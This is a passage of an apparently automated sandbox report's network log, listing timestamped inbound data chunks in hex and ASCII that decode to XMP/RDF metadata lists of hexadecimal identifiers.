69 3e 30 41 31 43 35 42 41 30 38 36 33 Data Ascii: AF6EBE2FE287355C7CE401972C</rdf:li> <rdf:li>09E69435D2630424E53B94DD91EBD7C4</rdf:li> <rdf:li>0A00AA149FA39774D067F86E3E1CA2DE</rdf:li> <rdf:li>0A0FBC2A5959770178E0A48D06C8271D</rdf:li> <rdf:li>0A1677488F608529C74C3E9D3BE22620</rdf:li> <rdf:li>0A1C5BA0863
2022-07-20 11:24:37 UTC	2585	IN	Data Raw: 34 43 43 38 30 35 30 33 39 44 36 33 38 39 41 45 44 35 45 35 35 31 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 33 34 43 31 37 38 36 33 34 44 46 35 45 30 46 42 46 46 46 34 46 33 36 34 35 36 35 44 35 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 33 41 34 33 37 32 32 45 31 46 36 41 31 36 33 30 31 44 46 45 31 46 30 43 30 42 46 31 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 33 46 35 41 37 46 33 45 32 30 46 34 44 34 45 45 41 36 32 32 35 45 41 38 35 39 44 42 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 33 46 37 39 33 37 30 43 36 42 32 46 45 32 30 41 43 33 33 44 43 37 34 35 42 42 39 46 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 34 32 44 36 42 32 34 45 44 36 31 Data Ascii: 4CC805039D6389AED5E551F2</rdf:li> <rdf:li>1034C178634DF5E0FBFFF4F364565D5A</rdf:li> <rdf:li>103A43722E1F6A16301DFE1F0C0BF160</rdf:li> <rdf:li>103F5A7F3E20F4D4EEA6225EA859DB56</rdf:li> <rdf:li>103F79370C6B2FE20AC33DC745BB9F68</rdf:li> <rdf:li>1042D6B24ED61
2022-07-20 11:24:37 UTC	2649	IN	Data Raw: 3c 72 64 66 3a 6c 69 3e 31 44 39 46 38 45 42 36 36 31 36 37 37 36 38 45 34 46 30 39 46 46 46 30 39 31 38 34 44 46 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 44 41 33 35 32 35 36 44 31 45 41 42 32 45 32 44 36 34 37 44 33 46 36 45 33 46 46 42 45 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 44 43 43 36 46 42 35 46 30 38 35 46 39 41 44 41 34 43 31 42 38 46 32 44 33 30 39 38 34 32 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 44 45 36 30 36 46 42 30 43 34 37 35 44 44 34 34 46 37 39 36 43 44 42 37 46 37 42 41 41 32 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 44 46 36 41 43 46 30 43 32 45 34 46 43 35 43 35 37 31 31 41 36 44 38 31 43 39 31 38 39 43 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a Data Ascii: <rdf:li>1D9F8EB66167768E4F09FFF09184DF67</rdf:li> <rdf:li>1DA35256D1EAB2E2D647D3F6E3FFBE44</rdf:li> <rdf:li>1DCC6FB5F085F9ADA4C1B8F2D309842F</rdf:li> <rdf:li>1DE606FB0C475DD44F796CDB7F7BAA24</rdf:li> <rdf:li>1DF6ACF0C2E4FC5C5711A6D81C9189C9</rdf:li> <rdf:
2022-07-20 11:24:37 UTC	2689	IN	Data Raw: 31 43 46 37 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 42 39 30 44 34 43 41 39 32 46 36 43 44 41 33 39 36 37 42 37 38 38 30 38 42 37 39 39 41 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 42 42 35 30 31 43 41 42 37 46 46 34 33 32 44 43 39 35 31 39 37 44 30 44 34 39 36 34 45 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 42 42 41 42 39 35 39 41 32 46 33 30 41 36 37 34 36 36 39 36 41 41 46 30 32 32 39 44 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 42 46 35 31 36 37 46 31 41 32 35 35 45 37 39 41 45 31 45 41 45 32 38 43 33 43 32 33 30 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 43 37 33 31 46 41 44 34 43 46 41 32 44 36 30 43 32 34 45 30 46 45 32 33 42 32 32 45 44 Data Ascii: 1CF7DF</rdf:li> <rdf:li>2AB90D4CA92F6CDA3967B78808B799AC</rdf:li> <rdf:li>2ABB501CAB7FF432DC95197D0D4964E1</rdf:li> <rdf:li>2ABBAB959A2F30A6746696AAF0229D77</rdf:li> <rdf:li>2ABF5167F1A255E79AE1EAE28C3C2304</rdf:li> <rdf:li>2AC731FAD4CFA2D60C24E0FE23B22ED
2022-07-20 11:24:37 UTC	2784	IN	Data Raw: 3e 33 30 42 33 38 39 42 44 43 39 41 32 34 42 41 31 35 38 44 34 37 31 41 32 44 38 32 33 34 39 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 30 42 34 46 36 32 37 38 44 42 42 42 38 33 35 35 38 37 34 46 43 45 46 38 43 38 35 41 42 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 30 42 39 36 38 33 33 32 30 37 32 37 41 35 30 43 33 41 37 41 36 44 46 46 35 44 37 44 44 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 30 43 36 44 42 33 42 42 37 38 37 41 46 38 36 32 46 30 37 32 33 34 33 45 45 43 35 34 44 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 30 43 44 35 46 33 33 44 39 42 41 32 30 42 39 33 38 46 33 35 42 34 44 42 35 39 43 45 36 35 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 30 44 35 Data Ascii: >30B389BDC9A24BA158D471A2D8234940</rdf:li> <rdf:li>30B4F6278DBBB8355874FCEF8C85AB36</rdf:li> <rdf:li>30B9683320727A50C3A7A6DFF5D7DD0B</rdf:li> <rdf:li>30C6DB3BB787AF862F072343EEC54DDE</rdf:li> <rdf:li>30CD5F33D9BA20B938F35B4DB59CE65A</rdf:li> <rdf:li>30D5
2022-07-20 11:24:37 UTC	2848	IN	Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 44 46 45 43 46 46 30 46 38 30 39 37 44 36 38 37 46 34 42 33 31 37 30 36 30 31 37 33 34 32 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 45 33 35 38 39 38 34 36 46 43 36 46 42 44 34 41 34 39 36 38 45 42 42 32 37 35 31 44 46 39 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 45 34 35 41 37 31 39 34 30 32 36 45 43 31 32 31 41 41 37 38 46 45 41 38 45 38 36 38 42 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 45 35 30 35 31 39 38 42 37 45 36 42 32 46 35 36 44 41 44 32 42 36 39 33 32 37 33 46 37 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 45 35 30 37 39 37 31 36 41 30 42 45 45 32 33 32 46 32 41 46 34 46 45 44 43 39 32 34 46 35 45 3c 2f 72 64 66 3a Data Ascii: /rdf:li> <rdf:li>3DFECFF0F8097D687F4B31706017342F</rdf:li> <rdf:li>3E3589846FC6FBD4A4968EBB2751DF99</rdf:li> <rdf:li>3E45A7194026EC121AA78FEA8E868B2D</rdf:li> <rdf:li>3E505198B7E6B2F56DAD2B693273F7C5</rdf:li> <rdf:li>3E5079716A0BEE232F2AF4FEDC924F5E</rdf:
2022-07-20 11:24:37 UTC	2903	IN	Data Raw: 41 45 34 34 43 44 43 32 38 39 39 42 41 35 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 41 30 35 43 36 37 37 36 44 33 44 44 41 32 44 35 38 38 37 34 32 33 32 35 44 31 39 33 41 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 41 35 30 45 33 36 37 38 34 45 44 43 37 39 30 39 39 32 30 42 44 32 46 46 33 44 37 36 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 41 45 36 46 37 43 37 39 43 35 41 38 43 36 32 41 34 45 37 32 46 31 36 45 32 43 37 41 37 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 41 46 46 41 35 43 33 42 44 42 45 39 30 41 33 44 46 46 39 39 35 31 44 36 46 46 45 33 39 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 42 34 39 37 41 32 36 41 34 41 43 32 32 33 31 46 39 33 34 45 Data Ascii: AE44CDC2899BA58</rdf:li> <rdf:li>4AA05C6776D3DDA2D588742325D193A7</rdf:li> <rdf:li>4AA50E36784EDC7909920BD2FF3D7655</rdf:li> <rdf:li>4AAE6F7C79C5A8C62A4E72F16E2C7A7C</rdf:li> <rdf:li>4AAFFA5C3BDBE90A3DFF9951D6FFE397</rdf:li> <rdf:li>4AB497A26A4AC2231F934E
2022-07-20 11:24:37 UTC	2959	IN	Data Raw: 45 34 38 34 46 31 37 46 37 33 30 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 31 33 43 38 45 31 33 31 33 33 46 34 44 41 37 34 38 39 44 33 45 41 31 31 37 30 31 33 30 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 31 34 42 36 43 36 34 45 31 35 36 34 32 42 44 42 33 36 37 46 32 45 39 44 46 34 35 30 36 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 31 36 35 46 46 34 43 32 30 42 44 32 43 30 34 34 37 43 31 43 44 45 44 32 39 33 34 36 42 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 31 36 46 34 35 46 44 38 41 34 36 42 41 44 43 37 39 34 45 41 30 44 36 45 45 31 43 37 45 41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 31 38 30 34 36 35 32 45 34 37 36 31 30 41 31 37 31 45 46 46 30 43 46 Data Ascii: E484F17F730DD</rdf:li> <rdf:li>513C8E13133F4DA7489D3EA117013087</rdf:li> <rdf:li>514B6C64E15642BDB367F2E9DF45065E</rdf:li> <rdf:li>5165FF4C20BD2C0447C1CDED29346B41</rdf:li> <rdf:li>516F45FD8A46BADC794EA0D6EE1C7EAA</rdf:li> <rdf:li>51804652E47610A171EFF0CF
2022-07-20 11:24:37 UTC	3054	IN	Data Raw: 42 44 46 46 39 31 34 43 43 37 34 33 43 37 33 46 42 38 39 36 45 43 32 30 46 37 32 45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 46 41 32 31 39 42 34 36 32 45 41 34 31 35 30 33 44 31 41 36 42 42 32 31 35 37 44 39 44 43 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 46 41 38 33 43 45 32 37 32 43 44 31 44 38 39 33 45 30 43 44 31 45 42 31 41 38 35 39 45 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 46 42 33 42 31 44 31 44 33 42 45 45 33 33 35 44 44 44 34 38 32 30 37 31 31 33 42 30 38 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 46 44 30 38 34 39 37 41 36 38 45 34 31 31 46 37 38 31 33 41 42 45 42 44 46 45 42 42 33 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 46 44 32 38 34 32 30 Data Ascii: BDFF914CC743C73FB896EC20F72EB</rdf:li> <rdf:li>5FA219B462EA41503D1A6BB2157D9DC6</rdf:li> <rdf:li>5FA83CE272CD1D893E0CD1EB1A859E86</rdf:li> <rdf:li>5FB3B1D1D3BEE335DDD48207113B08EA</rdf:li> <rdf:li>5FD08497A68E411F7813ABEBDFEBB3D8</rdf:li> <rdf:li>5FD28420
2022-07-20 11:24:37 UTC	3524	IN	Data Raw: 37 33 30 37 44 32 43 36 45 44 30 34 46 36 36 45 33 33 44 37 38 41 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 44 44 34 36 35 31 37 39 42 41 35 38 34 41 35 36 39 46 45 42 44 30 35 46 41 30 39 31 32 35 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 44 44 36 38 33 42 32 33 42 34 34 37 30 35 46 36 42 38 35 44 36 41 36 44 44 33 31 44 43 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 44 44 44 39 45 43 45 36 34 41 43 30 34 33 44 39 35 41 43 32 38 42 38 38 35 35 41 45 42 30 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 45 30 35 34 35 39 45 44 42 37 39 37 43 41 41 41 41 38 35 38 43 30 37 35 36 34 35 38 37 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 45 30 38 46 41 34 44 32 34 35 31 33 Data Ascii: 7307D2C6ED04F66E33D78A34</rdf:li> <rdf:li>6DD465179BA584A569FEBD05FA091253</rdf:li> <rdf:li>6DD683B23B44705F6B85D6A6DD31DCF2</rdf:li> <rdf:li>6DDD9ECE64AC043D95AC28B8855AEB01</rdf:li> <rdf:li>6E05459EDB797CAAAA858C07564587A8</rdf:li> <rdf:li>6E08FA4D24513
2022-07-20 11:24:37 UTC	3555	IN	Data Raw: 38 34 36 37 38 32 44 41 38 33 33 35 37 32 33 34 45 44 31 46 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 32 39 44 38 41 41 39 41 38 30 37 41 46 44 46 35 35 33 41 32 30 43 44 37 31 32 44 39 39 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 33 43 38 34 41 31 36 33 35 33 41 31 30 31 32 43 44 42 35 41 41 35 43 44 38 45 36 41 39 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 34 30 30 35 34 44 38 44 34 46 45 44 35 45 41 46 41 34 38 34 38 46 37 37 35 41 36 36 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 34 30 33 45 44 36 31 46 37 44 42 37 42 42 43 41 41 37 44 30 31 42 31 32 37 45 38 42 42 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 36 32 42 46 42 44 36 46 32 33 44 46 35 Data Ascii: 846782DA83357234ED1F69</rdf:li> <rdf:li>7529D8AA9A807AFDF553A20CD712D991</rdf:li> <rdf:li>753C84A16353A1012CDB5AA5CD8E6A9B</rdf:li> <rdf:li>7540054D8D4FED5EAFA4848F775A665C</rdf:li> <rdf:li>75403ED61F7DB7BBCAA7D01B127E8BB6</rdf:li> <rdf:li>7562BFBD6F23DF5
2022-07-20 11:24:37 UTC	3587	IN	Data Raw: 64 66 3a 6c 69 3e 38 32 41 37 30 37 45 37 34 43 43 30 30 42 39 39 43 37 36 31 43 32 39 42 38 38 46 45 32 41 43 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 32 41 45 34 39 45 32 36 43 32 42 31 34 42 33 38 38 41 39 37 38 30 30 31 41 37 43 41 34 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 32 41 45 34 44 42 37 35 42 33 35 38 31 39 45 30 44 42 38 34 31 42 42 33 41 33 44 33 32 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 32 43 34 30 34 42 36 31 44 33 37 36 31 32 38 41 33 41 43 33 37 37 31 30 45 43 34 35 30 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 32 44 34 41 46 33 33 35 36 37 43 45 44 32 34 36 32 31 37 30 32 45 42 43 41 45 45 46 38 30 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 Data Ascii: df:li>82A707E74CC00B99C761C29B88FE2AC0</rdf:li> <rdf:li>82AE49E26C2B14B388A978001A7CA4DB</rdf:li> <rdf:li>82AE4DB75B35819E0DB841BB3A3D322D</rdf:li> <rdf:li>82C404B61D376128A3AC37710EC45027</rdf:li> <rdf:li>82D4AF33567CED24621702EBCAEEF80A</rdf:li> <rdf:li
2022-07-20 11:24:37 UTC	3635	IN	Data Raw: 34 33 41 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 46 37 38 33 43 32 35 39 42 31 42 41 45 30 30 31 37 30 36 37 37 33 42 44 38 31 38 31 44 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 46 39 34 46 46 41 43 31 30 43 44 35 41 33 37 33 45 39 38 30 46 43 35 42 31 46 41 31 36 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 46 39 35 42 39 43 42 33 41 30 34 31 37 34 34 41 44 38 38 39 46 33 38 41 39 39 35 43 42 34 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 46 41 32 32 32 37 34 41 35 36 36 30 39 43 33 45 35 46 32 43 38 32 42 46 32 45 43 30 39 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 46 41 42 37 38 36 35 38 37 45 38 32 31 46 30 38 41 30 43 38 43 42 30 36 46 44 36 34 44 39 46 3c Data Ascii: 43A7</rdf:li> <rdf:li>8F783C259B1BAE001706773BD8181D88</rdf:li> <rdf:li>8F94FFAC10CD5A373E980FC5B1FA16C4</rdf:li> <rdf:li>8F95B9CB3A041744AD889F38A995CB45</rdf:li> <rdf:li>8FA22274A56609C3E5F2C82BF2EC09B8</rdf:li> <rdf:li>8FAB786587E821F08A0C8CB06FD64D9F<
2022-07-20 11:24:37 UTC	3699	IN	Data Raw: 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 36 46 43 42 39 42 45 44 35 41 44 35 32 30 30 34 44 30 34 38 35 43 32 44 34 33 39 33 32 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 31 44 39 32 31 37 38 34 41 34 33 39 31 45 31 45 45 41 32 31 45 30 34 30 34 41 30 42 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 33 38 41 37 39 30 42 46 33 37 43 34 36 44 30 43 34 46 36 45 44 44 32 42 46 38 42 32 39 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 34 34 32 35 31 46 39 37 41 45 39 32 36 31 42 35 46 43 35 38 34 32 34 31 32 32 32 31 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 34 38 36 44 34 44 46 43 37 36 37 38 36 33 33 45 38 30 37 46 45 45 31 31 42 45 38 32 37 30 3c 2f 72 Data Ascii: 67</rdf:li> <rdf:li>96FCB9BED5AD52004D0485C2D4393282</rdf:li> <rdf:li>971D921784A4391E1EEA21E0404A0BDB</rdf:li> <rdf:li>9738A790BF37C46D0C4F6EDD2BF8B29B</rdf:li> <rdf:li>9744251F97AE9261B5FC584241222195</rdf:li> <rdf:li>97486D4DFC7678633E807FEE11BE8270</r
2022-07-20 11:24:37 UTC	3754	IN	Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 34 32 37 45 37 32 31 44 41 43 46 44 46 33 45 33 45 31 42 46 39 39 39 38 43 37 44 36 44 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 34 33 45 33 36 36 36 31 44 35 44 39 38 38 45 42 45 41 42 36 42 35 31 42 44 41 45 37 43 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 34 35 38 30 37 44 38 41 45 35 45 35 41 45 34 31 33 32 37 32 44 31 42 46 34 39 33 33 44 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 34 36 32 35 34 41 37 31 36 38 35 39 31 37 39 33 44 38 31 46 31 46 42 34 39 42 31 36 45 36 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 34 36 32 46 32 37 37 43 35 43 41 36 36 31 30 36 41 38 42 41 46 44 43 46 32 33 35 46 39 42 33 3c 2f 72 64 66 3a 6c 69 Data Ascii: df:li> <rdf:li>A427E721DACFDF3E3E1BF9998C7D6D0E</rdf:li> <rdf:li>A43E36661D5D988EBEAB6B51BDAE7CD9</rdf:li> <rdf:li>A45807D8AE5E5AE413272D1BF4933D7F</rdf:li> <rdf:li>A46254A7168591793D81F1FB49B16E6A</rdf:li> <rdf:li>A462F277C5CA66106A8BAFDCF235F9B3</rdf:li
2022-07-20 11:24:37 UTC	3778	IN	Data Raw: 43 32 42 30 46 34 45 35 34 30 42 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 31 42 30 37 32 44 30 30 41 33 31 41 36 34 44 37 39 33 35 42 34 42 41 32 45 32 44 33 39 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 31 42 35 37 37 35 43 43 34 30 44 35 37 32 44 34 38 41 33 43 44 45 43 31 30 36 34 46 45 32 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 31 42 36 38 46 31 39 42 42 36 31 37 39 42 37 44 38 35 45 36 35 43 39 37 38 43 32 39 45 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 31 44 33 44 30 45 33 34 32 43 34 35 33 41 35 45 43 39 34 37 45 43 32 37 44 38 37 42 41 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 31 44 41 46 38 44 33 37 37 36 41 43 30 32 37 44 39 43 32 33 42 37 41 Data Ascii: C2B0F4E540B30</rdf:li> <rdf:li>B1B072D00A31A64D7935B4BA2E2D3989</rdf:li> <rdf:li>B1B5775CC40D572D48A3CDEC1064FE25</rdf:li> <rdf:li>B1B68F19BB6179B7D85E65C978C29E09</rdf:li> <rdf:li>B1D3D0E342C453A5EC947EC27D87BA7B</rdf:li> <rdf:li>B1DAF8D3776AC027D9C23B7A
2022-07-20 11:24:37 UTC	3786	IN	Data Raw: 45 32 35 35 43 46 39 30 45 45 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 30 39 35 39 41 42 32 45 41 35 46 34 46 33 41 38 36 38 43 42 37 35 46 43 43 34 34 33 31 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 30 41 38 43 36 30 42 41 46 46 33 34 37 46 45 31 41 31 37 31 38 37 42 46 31 32 37 46 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 32 37 44 45 43 33 35 38 45 43 41 42 36 39 34 32 45 36 36 39 32 42 43 43 33 33 37 37 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 33 32 44 33 34 37 44 34 37 35 39 42 37 45 33 44 30 44 41 45 43 43 38 31 42 32 44 30 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 35 44 36 41 45 46 43 42 37 34 37 42 43 36 39 31 43 30 46 37 31 38 31 46 Data Ascii: E255CF90EEF</rdf:li> <rdf:li>B80959AB2EA5F4F3A868CB75FCC44319</rdf:li> <rdf:li>B80A8C60BAFF347FE1A17187BF127FF9</rdf:li> <rdf:li>B827DEC358ECAB6942E6692BCC3377CA</rdf:li> <rdf:li>B832D347D4759B7E3D0DAECC81B2D07B</rdf:li> <rdf:li>B85D6AEFCB747BC691C0F7181F
2022-07-20 11:24:37 UTC	3827	IN	Data Raw: 42 46 31 31 36 36 38 35 46 38 42 32 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 34 46 45 41 36 46 43 37 34 36 36 38 36 45 46 31 31 36 33 42 32 43 43 34 34 34 46 38 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 35 43 45 35 30 30 32 46 43 44 33 42 30 39 31 36 36 46 30 37 41 31 35 45 30 33 44 45 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 36 39 39 32 34 41 37 31 32 46 33 42 39 38 33 35 43 46 33 46 37 35 30 37 46 32 37 31 45 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 37 34 41 34 44 41 34 42 39 32 33 43 35 39 30 43 36 36 33 32 45 37 41 45 35 41 44 38 46 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 37 46 35 46 30 34 38 41 34 43 42 42 34 35 33 34 39 38 45 31 46 42 Data Ascii: BF116685F8B25</rdf:li> <rdf:li>B94FEA6FC746686EF1163B2CC444F868</rdf:li> <rdf:li>B95CE5002FCD3B09166F07A15E03DEA8</rdf:li> <rdf:li>B969924A712F3B9835CF3F7507F271EF</rdf:li> <rdf:li>B974A4DA4B923C590C6632E7AE5AD8F3</rdf:li> <rdf:li>B97F5F048A4CBB453498E1FB
2022-07-20 11:24:37 UTC	3867	IN	Data Raw: 32 36 38 39 39 36 38 32 42 38 41 32 44 45 32 42 33 37 30 35 44 32 35 30 45 30 43 32 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 37 41 32 43 39 41 33 34 45 46 44 33 34 32 38 43 31 33 31 39 44 46 45 35 46 32 45 36 41 39 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 37 41 42 42 34 32 39 46 35 31 43 38 45 41 37 45 32 36 32 31 30 33 36 41 41 30 39 30 36 39 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 37 42 32 38 38 37 33 36 30 30 33 39 43 39 37 42 37 34 38 32 34 43 33 30 39 36 31 39 41 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 37 42 39 33 41 38 46 44 43 44 30 33 42 46 36 30 46 33 32 39 45 36 36 33 46 37 33 45 36 37 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 37 43 32 32 43 45 38 Data Ascii: 26899682B8A2DE2B3705D250E0C29</rdf:li> <rdf:li>C7A2C9A34EFD3428C1319DFE5F2E6A9F</rdf:li> <rdf:li>C7ABB429F51C8EA7E2621036AA09069E</rdf:li> <rdf:li>C7B2887360039C97B74824C309619A49</rdf:li> <rdf:li>C7B93A8FDCD03BF60F329E663F73E67C</rdf:li> <rdf:li>C7C22CE8
2022-07-20 11:24:37 UTC	3923	IN	Data Raw: 38 35 30 38 35 41 36 46 39 36 33 30 36 34 30 36 39 38 42 32 43 41 46 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 34 39 32 36 45 31 34 32 30 31 46 37 31 33 44 43 35 46 39 32 39 30 41 30 42 34 44 31 32 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 34 39 46 32 43 30 46 44 39 38 35 35 31 43 42 43 46 31 33 31 31 43 46 46 33 36 33 33 37 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 34 41 32 31 34 35 41 32 35 46 35 43 36 32 31 37 39 31 36 45 36 39 34 45 44 38 34 39 43 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 34 42 35 33 45 45 38 31 43 36 36 43 43 36 43 30 43 39 45 33 37 32 30 41 37 30 32 35 45 34 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 34 42 37 41 45 39 32 44 36 30 36 32 Data Ascii: 85085A6F9630640698B2CAF8</rdf:li> <rdf:li>D4926E14201F713DC5F9290A0B4D12D9</rdf:li> <rdf:li>D49F2C0FD98551CBCF1311CFF36337AB</rdf:li> <rdf:li>D4A2145A25F5C6217916E694ED849C9D</rdf:li> 